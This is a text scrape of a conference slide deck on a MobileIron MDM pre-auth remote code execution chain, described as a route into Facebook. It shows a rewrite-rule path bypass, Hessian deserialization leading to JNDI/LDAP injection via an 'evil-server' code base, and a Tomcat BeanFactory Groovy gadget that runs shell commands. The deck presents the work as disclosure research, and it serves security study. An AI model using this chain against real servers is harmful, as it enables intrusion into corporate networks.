How I Hacked facebook Again! by Orange Tsai Orange Tsai Principal - - PowerPoint PPT Presentation

▶
how i hacked facebook
SMART_READER_LITE
LIVE PREVIEW

How I Hacked facebook Again! by Orange Tsai Orange Tsai Principal - - PowerPoint PPT Presentation

Aug 10, 2023 14 likes •768 views

How I Hacked facebook Again! by Orange Tsai Orange Tsai Principal security researcher at DEVCORE Captain of HITCON CTF team 0day researcher, focusing on Web/Application security orange_8361 Infiltrating Corporate Intranet Like NSA

slide-1
SLIDE 1

How I Hacked facebook Again! by

Orange Tsai

slide-2
SLIDE 2

Orange Tsai

  • Principal security researcher at DEVCORE
  • Captain of HITCON CTF team
  • 0day researcher, focusing on

Web/Application security

  • range_8361
slide-3
SLIDE 3
slide-4
SLIDE 4
slide-5
SLIDE 5
slide-6
SLIDE 6
slide-7
SLIDE 7

Infiltrating Corporate Intranet Like NSA

Pre-auth RCE on Leading SSL VPNs

Orange Tsai (@orange_8361) Meh Chang (@mehqq_)

USA 2019

slide-8
SLIDE 8

Disclaimer

所有漏洞皆經過 合·法·流·程 回報並且 修·復·完·成

slide-9
SLIDE 9

MDM(Mobile Device Management)

https://www.manageengine.com/products/desktop-central/images/MDM_features.png

slide-10
SLIDE 10
slide-11
SLIDE 11
slide-12
SLIDE 12
slide-13
SLIDE 13

常見 MDM 解決方案

VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine

slide-14
SLIDE 14

常見 MDM 解決方案

VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine

slide-15
SLIDE 15

Why MobileIron?

  • 1. 根據官網，至少 20,000+ 企業使選擇
  • 2. 至少 15% 的財富世界 500 大公司選擇、且暴露在外網
  • 3. 台灣企業使用比例最高的 MDM

4. Facebook 有在使用!

slide-16
SLIDE 16

如何開始?

slide-17
SLIDE 17
slide-18
SLIDE 18
slide-19
SLIDE 19

怎麼跑起來?

痛苦。

slide-20
SLIDE 20
slide-21
SLIDE 21
slide-22
SLIDE 22

架構

Tomcat

MI Server 443/8443 Apache 9997 MI Protocol Reverse Proxy TLS Proxy

slide-23
SLIDE 23

找洞!

1. 該防的都有防

  • 2. 沒有很好打
  • 3. 但也不算很難打
slide-24
SLIDE 24
slide-25
SLIDE 25

Vulnerability

Tomcat

MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache

slide-26
SLIDE 26

Tomcat

MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache

Web Service speaks Hessian!

slide-27
SLIDE 27

Touch through Manage Interface

Tomcat

MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache

slide-28
SLIDE 28

Tomcat

MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache

Touch through User Interface…???

❌

slide-29
SLIDE 29

Rewrite Rules :(

RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services

  • [F]
slide-30
SLIDE 30
slide-31
SLIDE 31
slide-32
SLIDE 32
slide-33
SLIDE 33

RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services

  • [F]

/mifs/services/fooService

slide-34
SLIDE 34

RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services

  • [F]

/mifs/.;/services/fooService

slide-35
SLIDE 35
slide-36
SLIDE 36

Hessian Deserialization

slide-37
SLIDE 37

Hessian Deserialization

  • Java Unmarshaller Security
  • A paper written by @mbechler in May 2017
  • Known gadgets on Hessian Deserialization:

Gad adget et Name me Effect ect Spring-AOP JNDI Injection XBean JNDI Injection Resin JNDI Injection ROME RCE

slide-38
SLIDE 38

What is JNDI Injection?

Java 提供的 API 介面, 方便開發者 動·態·存·取 物件

jdbc:mysql://localhost:3306/database

slide-39
SLIDE 39

Why JNDI Injection?

slide-40
SLIDE 40

CVE-2015-2590

Pawn Storm (APT28, Fancy Bear)

slide-41
SLIDE 41
slide-42
SLIDE 42

以前的駭客 現在的駭客

slide-43
SLIDE 43

JNDI/LDAP Injection

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • A Naming Reference with Factory and

URLCodeBase=http://evil-server/

  • 3. The class loader:
  • Can’t find the Factory Class
  • Fetch Class through our URLCodeBase
  • 4. Return Evil Java Class
  • 5. Boom! RCE!

Payload

Hacker MobileIron Evil Server

1 5 3 2

LDAP Connection JNDI Reference HTTP Connection Evil Class

4

slide-44
SLIDE 44
slide-45
SLIDE 45

Java mitigated the JNDI/LDAP

in Oct 2018 (CVE-2018-3149)

slide-46
SLIDE 46

JNDI/LDAP Injection

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • A Naming Reference with Factory and

URLCodeBase=http://evil-server/

  • 3. The class loader:
  • Can’t find the Factory Class
  • Fetch Class through our URLCodeBase
  • 4. Return Evil Java Class
  • 5. Boom! RCE!

Hacker MobileIron Evil Server

1 5 3 2 4

Payload LDAP Connection JNDI Reference HTTP Connection Evil Class

slide-47
SLIDE 47

JNDI/LDAP Injection after Oct 2018

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • A Naming Reference with Factory and

URLCodeBase=http://evil-server/

  • 3. The class loader:
  • Can’t find the Factory Class
  • Fetch Class through our URLCodeBase
  • 4. Return Evil Java Class
  • 5. Boom! RCE!

Hacker MobileIron Evil Server

1 5 3 2 4

Payload LDAP Connection JNDI Reference HTTP Connection Evil Class

slide-48
SLIDE 48

The bypass!

slide-49
SLIDE 49

What's the next?

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • A Naming Reference with Factory and

URLCodeBase=http://evil-server/

  • 3. The class loader:
  • Can’t find the Factory Class
  • Fetch Class through our URLCodeBase
  • 4. Return Evil Java Class
  • 5. Boom! RCE!

Hacker MobileIron Evil Server

1 5 3 2 4

Payload LDAP Connection JNDI Reference HTTP Connection Evil Class

slide-50
SLIDE 50

What's the next?

1. Hessian Deserialization triggers:

  • A LDAP connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • A Naming Reference with Factory and

URLCodeBase=http://evil-server/

  • 3. The class loader:
  • Can’t find the Factory Class
  • Fetch Class through our URLCodeBase
  • 4. Return Evil Java Class
  • 5. Boom! RCE!

Hacker MobileIron Evil Server

1 5 3 2 4

Payload LDAP Connection JNDI Reference HTTP Connection Evil Class

Reference to Local is still available!

slide-51
SLIDE 51

Leverage the Local Factory

  • org.apache.naming.factory.BeanFactory (Tomcat 6-8)
  • If there is a forceString in reference, then:
  • Parse the forceString as key-value pairs
  • Invoke the value as a setter to set the specified field, for example:

ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setName")); ref.add(new StringRefAddr("name", "orange"));

slide-52
SLIDE 52

Leverage the Local Factory

  • org.apache.naming.factory.BeanFactory (Tomcat 6-8)
  • If there is a forceString in reference, then:
  • Parse the forceString as key-value pairs
  • Invoke the value as a setter to set the specified field, for example:

ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setName")); ref.add(new StringRefAddr("name", "orange"));

slide-53
SLIDE 53

Leverage the Local Factory

  • org.apache.naming.factory.BeanFactory (Tomcat 6-8)
  • If there is a forceString in reference, then do:
  • Parse the forceString as key-value pairs
  • Invoke the value as a setter to set the specified field, for example:

ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setUsername")); ref.add(new StringRefAddr("name", "orange"));

tw.orange.User().setName("orange")

slide-54
SLIDE 54
slide-55
SLIDE 55

Method Invoke

javax.el.ELProcessor().eval("evil…")

  • Tomcat 8.5+ only, our remote version is 7.0.92

groovy.lang.GroovyClassLoader().parseClass("…")

  • Make Meta Programming great again!
  • Groovy 2.0+ only, our remote version is 1.5.6
slide-56
SLIDE 56

groovy.lang.GroovyShell().evaluate("…")

https://github.com/welk1n/JNDI-Injection-Bypass/pull/1

New Groovy chain! Work on all versions

slide-57
SLIDE 57

Bypass with Local Reference

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • ??????

Hacker MobileIron Evil Server

1 2

Payload LDAP Connection ??????

slide-58
SLIDE 58

Bypass with Local Reference

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • Local Factory
  • rg.apache.naming.factory.BeanFactory

Hacker MobileIron Evil Server

1 2

Payload LDAP Connection Local Factory

slide-59
SLIDE 59

Bypass with Local Reference

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • Local Factory
  • rg.apache.naming.factory.BeanFactory
  • Local Object Reference

Groovy.shell.GroovyShell with properties:

  • forceString is foo=evaluate
  • foo is “uname -a”.execute()

Hacker MobileIron Evil Server

1 2

Payload LDAP Connection Local Factory Object Reference

slide-60
SLIDE 60

Bypass with Local Reference

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • Local Factory
  • rg.apache.naming.factory.BeanFactory
  • Local Object Reference

Groovy.shell.GroovyShell with properties:

  • forceString is foo=evaluate
  • foo is “uname -a”.execute()
  • 3. Factory loads and populates Object
  • 4. Boom! RCE!

Hacker MobileIron Evil Server

1 2

Payload LDAP Connection Local Factory

3 4

Object Reference

slide-61
SLIDE 61
slide-62
SLIDE 62
slide-63
SLIDE 63

Bypass with Local Reference

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • Local Factory
  • rg.apache.naming.factory.BeanFactory
  • Local Object Reference

Groovy.shell.GroovyShell with properties:

  • forceString is foo=evaluate
  • foo is “uname -a”.execute()
  • 3. Factory loads and populates Object
  • 4. Boom! RCE!

Hacker MobileIron Evil Server

1 2

Payload LDAP Connection Local Factory

3 4

Object Reference

❌

slide-64
SLIDE 64

Bypass with Local Reference

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • Local Factory
  • rg.apache.naming.factory.BeanFactory
  • Local Object Reference

Groovy.shell.GroovyShell with properties:

  • forceString is foo=evaluate
  • foo is “uname -a”.execute()
  • 3. Factory loads and populates Object
  • 4. Boom! RCE!

Hacker MobileIron Evil Server

1 2

Payload LDAP Connection Local Factory

3 4

Object Reference

❌

slide-65
SLIDE 65

Bypass with Local Reference

1. Hessian Deserialization triggers:

  • A LDAP connection to Evil RMI Server
  • 2. Evil LDAP server replies:
  • Local Factory
  • rg.apache.naming.factory.BeanFactory
  • Local Object Reference

Groovy.shell.GroovyShell with properties:

  • forceString is foo=evaluate
  • foo is “uname -a”.execute()
  • 3. Factory loads and populate Object
  • 4. Boom! RCE!

Hacker MobileIron Evil Server

1 2

Payload RMI Connection Local Factory

3 4

Object Reference

❌

slide-66
SLIDE 66

重·讀·論·文。

slide-67
SLIDE 67

為什麼補這句話?

slide-68
SLIDE 68

Git Blame

slide-69
SLIDE 69

Git Blame

slide-70
SLIDE 70

Exploit with JNDI Bypass

1. Hessian Deserialization triggers:

  • A connection to Evil LDAP Server
  • 2. Evil LDAP server replies:
  • Local Factory
  • rg.apache.naming.factory.BeanFactory
  • Local Object Reference

Groovy.shell.GroovyShell with properties:

  • forceString is foo=evaluate
  • foo is “uname -a”.execute()
  • 3. Factory loads and populate Object
  • 4. Boom! RCE!

Hacker MobileIron Evil Server

1 2

Payload LDAP Connection Local Factory

3 4

Object Reference

slide-71
SLIDE 71

Exploit with New Gadget

  • 1. Hessian Deserialization

triggers:

  • Local Groovy gadgets
  • Boom! RCE!

Hacker MobileIron

1

Payload

slide-72
SLIDE 72

Demo

https://youtu.be/hGTLIIOb14A

slide-73
SLIDE 73

漏洞回報

slide-74
SLIDE 74
slide-75
SLIDE 75
  • range_8361
  • range@chroot.org

Thanks!

https://blog.orange.tw